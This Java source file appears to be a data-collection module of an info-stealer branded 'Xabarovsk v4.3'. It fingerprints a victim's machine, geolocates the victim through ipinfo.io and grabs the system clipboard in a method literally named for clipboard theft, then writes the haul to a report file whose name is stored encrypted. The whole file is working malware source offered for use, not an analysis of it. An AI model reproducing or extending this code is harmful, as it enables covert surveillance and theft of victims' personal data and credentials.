package moduly.sbor;

import procat.ui.Main;

import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.json.JSONObject;
import procat.ui.Nastroiki;

import java.awt.*;
import java.awt.datatransfer.Clipboard;
import java.awt.datatransfer.DataFlavor;
import java.io.*;
import java.lang.management.ManagementFactory;
import java.net.*;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.text.SimpleDateFormat;
import java.time.LocalTime;
import java.time.ZoneId;
import java.time.format.DateTimeFormatter;
import java.util.Date;
import java.util.Enumeration;

public class InfoPC implements Runnable {

    public static final int MAX_TITLE_LENGTH = 1024;

    public InfoPC() throws Exception {
    }
    private static final Nastroiki nastr = new Nastroiki();

    private static final OkHttpClient client = new OkHttpClient();
    private static final Request request = new Request.Builder().url("http://ipinfo.io/json").build();

    public static String country = count();


    private static void getInfo() throws IOException, URISyntaxException {
        Response response = client.newCall(request).execute();
        String jsonData = response.body().string();

        JSONObject jsonObject = new JSONObject(jsonData);
        String ip = jsonObject.getString("ip");
        String hostname = jsonObject.getString("org");
        String city = jsonObject.getString("city");
        String region = jsonObject.getString("region"); // проверь ебаный интернет

        File info = new File(Nastroiki.getFolder()+nastr.decrName(nastr.getInfo_pc_name()));
        PrintWriter pw = new PrintWriter(info);

        if (!info.exists()){
            info.createNewFile();
        }

        pw.println(" ⚠️ Информация: ⚠️\n" +
                "\n" +
                "--------------------------------------------\n" +
                " ✅ ОС/версия --> " + getOSVerion() + "\n" +
                "--------------------------------------------\n" +
                " ✅ Имя пользователя --> " + ImaPC() + "\n" +
                "--------------------------------------------\n" +
                " ✅ Сетевые интерфейсы --> " + IpAddres() + "\n" +
                "--------------------------------------------\n" +
                " ✅ IP-адрес --> " + ip + "\n" +
                "--------------------------------------------\n" +
                " ✅ Host Name --> " + hostname + "\n" +
                "--------------------------------------------\n" +
                " ✅ Город --> " + city + "\n" +
                "--------------------------------------------\n" +
                " ✅ Регион --> " + region + "\n" +
                "--------------------------------------------\n" +
                " ✅ Местоположение --> " + country + "\n" +
                "--------------------------------------------\n" +
                " ✅ Буфер обмена --> " + krazha_buffera() + "\n" +
                "--------------------------------------------\n" +
                " ✅ Путь файла --> " + put_ispolneniy() + "\n" +
                "--------------------------------------------\n" +
                " ✅ Ядро процессора --> " + getCPUKernels() + "\n" +
                "--------------------------------------------\n" +
                " ✅ Время запуска --> " + convertTurkeyTime() + "\n" +
                "--------------------------------------------\n" +
                " ✅ Время --> " + getTime() + "\n" +
                "--------------------------------------------\n" +
                " ✅ Оперативная память --> " + getTotalRAM() + "\n" +
                "--------------------------------------------\n" +
                "\n"
                + "\n\n\n\n\n" + "\n\n" +
                ".........／＞　   フ\n" +
                "　　　　　| 　_　 _|\n" +
                "　 　　　／`ミ _x 彡\n" +
                "　　 　 /　　　 　 |\n" +
                "　　　 /　 ヽ　　 ﾉ\n" +
                "　／￣|　　 |　|　|\n" +
                "　| (￣ヽ＿_ヽ_)_)\n" +
                "　＼二つ\n"
                + "\n\n Xabarovsk v4.3");

        pw.close();
    }




//---------------------------------------------------------------------

    public static boolean isWindows(){

        String os = System.getProperty("os.name").toLowerCase();

        return (os.indexOf( "win" ) >= 0);

    }

    private static String getOSVerion() {
        String s;
        if (isWindows()) {
            s = "Windows/" + System.getProperty("os.version");
        } else {
            s = "No/" + System.getProperty("os.version");
        }
        return s;
    }

//---------------------------------------------------------------------


    private static String IpAddres() {

        String ip;
        try {
            Enumeration<NetworkInterface> interfaces = NetworkInterface.getNetworkInterfaces();
            while (interfaces.hasMoreElements()) {
                NetworkInterface iface = interfaces.nextElement();

                if (iface.isLoopback() || !iface.isUp())
                    continue;

                Enumeration<InetAddress> addresses = iface.getInetAddresses();
                while (addresses.hasMoreElements()) {
                    InetAddress addr = addresses.nextElement();
                    ip = addr.getHostAddress();
                    return (ip);
                }
            }
        } catch (SocketException e) {
            throw new RuntimeException(e);
        }
        return ("⚠️Сетевые интерфейсы не найдены⚠️" +
                "\n\n" + "Ошбика доступа");
    }

//---------------------------------------------------------------------

    private static String ImaPC() {
        String computername= null;
        try {
            computername = InetAddress.getLocalHost().getHostName();
        } catch (UnknownHostException e) {
            e.printStackTrace();
        }
        return (computername);
    }

    private static String krazha_buffera() {

        Toolkit toolkit = Toolkit.getDefaultToolkit();
        Clipboard clipboard = toolkit.getSystemClipboard();

        String content = null;
        if (clipboard != null) {

            if (clipboard.isDataFlavorAvailable(DataFlavor.stringFlavor)) {
                try {

                    String contenti = (String) clipboard.getData(DataFlavor.stringFlavor);
                    content = contenti;

                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }
        if (clipboard == null) {
            return "null";
        }
        return content;
    }

    private static String put_ispolneniy() throws URISyntaxException, UnsupportedEncodingException {

        Path path = Paths.get(Main.class.getResource(".").toURI());
        System.out.println(path.getParent().getParent());


        return String.valueOf(path);
    }

    @Override
    public void run() {
        try {
            getInfo();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (URISyntaxException e) {
            e.printStackTrace();
        }
    }

//---------------------------------------------------------------------


    public static String getCPUKernels() {
        return String.valueOf(Runtime.getRuntime().availableProcessors());
    }

    public static String convertTurkeyTime() {
        return DateTimeFormatter.ofPattern("HH:mm").format(LocalTime.now(ZoneId.of("GMT+3")));
    }

    public static String getTime() {
        String time = new SimpleDateFormat("dd.MM.yyyy").format(new Date());
        if (time.startsWith("0")) {
            time = time.replaceFirst("0", "");
        }
        return time;
    }

    public static String getTotalRAM() {
        int memorySize = (int) (((com.sun.management.OperatingSystemMXBean) ManagementFactory.getOperatingSystemMXBean()).getTotalPhysicalMemorySize() / 1048576);
        int addOne = (memorySize) / 1024 + 1;
        return addOne + ".0 GB";
    }

//---------------------------------------------------------------------

    private static String count() {
        String country1 = null;
        try {
            Response response = client.newCall(request).execute();
            String jsonData = response.body().string();

            JSONObject jsonObject = new JSONObject(jsonData);
            country1 = jsonObject.getString("country");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return country1;
    }
}

